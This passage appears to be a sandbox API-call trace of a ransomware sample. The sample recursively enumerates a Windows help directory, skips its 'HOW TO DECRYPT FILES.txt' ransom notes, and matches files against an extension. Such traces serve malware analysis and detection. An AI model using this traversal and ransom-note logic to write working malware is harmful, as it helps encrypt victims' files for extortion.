cAlternateFileName="ASSIST~1")) returned 1 [0092.111] lstrcmpA (lpString1=".", lpString2="Assistance") returned -1 [0092.112] lstrcmpA (lpString1="..", lpString2="Assistance") returned -1 [0092.112] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\*.*") returned="*.*" [0092.112] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\", lpString2="Assistance" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance") returned="C:\\Users\\All Users\\Microsoft\\Assistance" [0092.112] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0092.112] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0092.112] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.112] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0092.112] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0092.112] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Client", cAlternateFileName="")) returned 1 [0092.112] lstrcmpA (lpString1=".", lpString2="Client") returned -1 [0092.112] lstrcmpA (lpString1="..", lpString2="Client") returned -1 [0092.112] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Assistance\\*.*") returned="*.*" [0092.112] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\", lpString2="Client" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client" [0092.112] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.113] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0092.113] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.113] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0092.113] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0092.113] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa8f17049, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x243448f1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1.0", cAlternateFileName="")) returned 1 [0092.113] lstrcmpA (lpString1=".", lpString2="1.0") returned -1 [0092.113] lstrcmpA (lpString1="..", lpString2="1.0") returned -1 [0092.113] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\*.*") returned="*.*" [0092.113] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\", lpString2="1.0" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0" [0092.113] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa8f17049, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x243448f1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.114] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0092.114] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa8f17049, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x243448f1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.114] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0092.114] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0092.114] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xfff3ece0, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xfff3ece0, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0092.114] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0092.114] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0092.114] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\*.*") returned="*.*" [0092.114] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\", lpString2="en-US" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US" [0092.114] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xfff3ece0, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xfff3ece0, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0092.114] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0092.115] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xfff3ece0, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xfff3ece0, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.115] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0092.115] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0092.115] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x2436abaa, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xabde2c6f, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa65a8bbf, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x2f22, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Help_CValidator.H1D", cAlternateFileName="HELP_C~1.H1D")) returned 1 [0092.115] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0092.115] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Help_CValidator.H1D") returned -1 [0092.115] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Help_CValidator.H1D") returned 1 [0092.115] lstrcmpiA (lpString1="", lpString2="Help_CValidator.H1D") returned -1 [0092.115] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\*.*") returned="*.*" [0092.115] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\" [0092.115] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\") returned="" [0092.115] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\HOW TO DECRYPT FILES.txt" [0092.115] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\how to decrypt files.txt")) returned 0x2020 [0092.116] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\", lpString2="Help_CValidator.H1D" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_CValidator.H1D") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_CValidator.H1D" [0092.116] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_CValidator.H1D", pszSpec="*.ems") returned 0 [0092.116] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24534c56, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae2660aa, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae2660aa, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x365fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_MKWD_AssetId.H1W", cAlternateFileName="HELP_M~1.H1W")) returned 1 [0092.116] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0092.116] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Help_MKWD_AssetId.H1W") returned -1 [0092.116] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Help_MKWD_AssetId.H1W") returned 1 [0092.116] lstrcmpiA (lpString1="", lpString2="Help_MKWD_AssetId.H1W") returned -1 [0092.116] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_CValidator.H1D") returned="Help_CValidator.H1D" [0092.116] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\" [0092.116] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\") returned="" [0092.116] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\HOW TO DECRYPT FILES.txt" [0092.116] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\how to decrypt files.txt")) returned 0x2020 [0092.116] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\", lpString2="Help_MKWD_AssetId.H1W" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_AssetId.H1W") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_AssetId.H1W" [0092.117] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_AssetId.H1W", pszSpec="*.ems") returned 0 [0092.117] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24534c56, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae409b6f, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae409b6f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x325ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_MKWD_BestBet.H1W", cAlternateFileName="HELP_M~2.H1W")) returned 1 [0092.117] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0092.117] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Help_MKWD_BestBet.H1W") returned -1 [0092.117] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Help_MKWD_BestBet.H1W") returned 1 [0092.117] lstrcmpiA (lpString1="", lpString2="Help_MKWD_BestBet.H1W") returned -1 [0092.117] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_AssetId.H1W") returned="Help_MKWD_AssetId.H1W" [0092.117] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\" [0092.117] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\") returned="" [0092.117] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\HOW TO DECRYPT FILES.txt" [0092.117] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\how to decrypt files.txt")) returned 0x2020 [0092.117] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\", lpString2="Help_MKWD_BestBet.H1W" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_BestBet.H1W") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_BestBet.H1W" [0092.118] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_BestBet.H1W", pszSpec="*.ems") returned 0 [0092.118] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24534c56, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae45604d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x79f1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_MTOC_help.H1H", cAlternateFileName="HELP_M~1.H1H")) returned 1 [0092.118] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0092.118] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Help_MTOC_help.H1H") returned -1 [0092.118] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Help_MTOC_help.H1H") returned 1 [0092.118] lstrcmpiA (lpString1="", lpString2="Help_MTOC_help.H1H") returned -1 [0092.118] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_BestBet.H1W") returned="Help_MKWD_BestBet.H1W" [0092.118] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\" [0092.118] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\") returned="" [0092.118] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\HOW TO DECRYPT FILES.txt" [0092.118] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\how to decrypt files.txt")) returned 0x2020 [0092.118] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\", lpString2="Help_MTOC_help.H1H" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MTOC_help.H1H") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MTOC_help.H1H" [0092.118] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MTOC_help.H1H", pszSpec="*.ems") returned 0 [0092.119] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x26353250, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae45604d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x3944, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_MValidator.H1D", cAlternateFileName="HELP_M~1.H1D")) returned 1 [0092.119] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0092.119] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Help_MValidator.H1D") returned -1 [0092.119] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Help_MValidator.H1D") returned 1 [0092.119] lstrcmpiA (lpString1="", lpString2="Help_MValidator.H1D") returned -1 [0092.119] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MTOC_help.H1H") returned="Help_MTOC_help.H1H" [0092.119] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\" [0092.119] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\") returned="" [0092.119] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\HOW TO DECRYPT FILES.txt" [0092.119] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\how to decrypt files.txt")) returned 0x2020 [0092.119] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\", lpString2="Help_MValidator.H1D" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.H1D") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.H1D" [0092.119] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.H1D", pszSpec="*.ems") returned 0 [0092.120] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24534c56, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae45604d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_MValidator.Lck", cAlternateFileName="HELP_M~1.LCK")) returned 1 [0092.120] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0092.120] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Help_MValidator.Lck") returned -1 [0092.120] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Help_MValidator.Lck") returned 1 [0092.120] lstrcmpiA (lpString1="", lpString2="Help_MValidator.Lck") returned -1 [0092.120] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.H1D") returned="Help_MValidator.H1D" [0092.120] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\" [0092.120] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\") returned="" [0092.120] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\HOW TO DECRYPT FILES.txt" [0092.120] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\how to decrypt files.txt")) returned 0x2020 [0092.120] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\", lpString2="Help_MValidator.Lck" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.Lck") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.Lck" [0092.120] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x249fa376, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae0e8854, 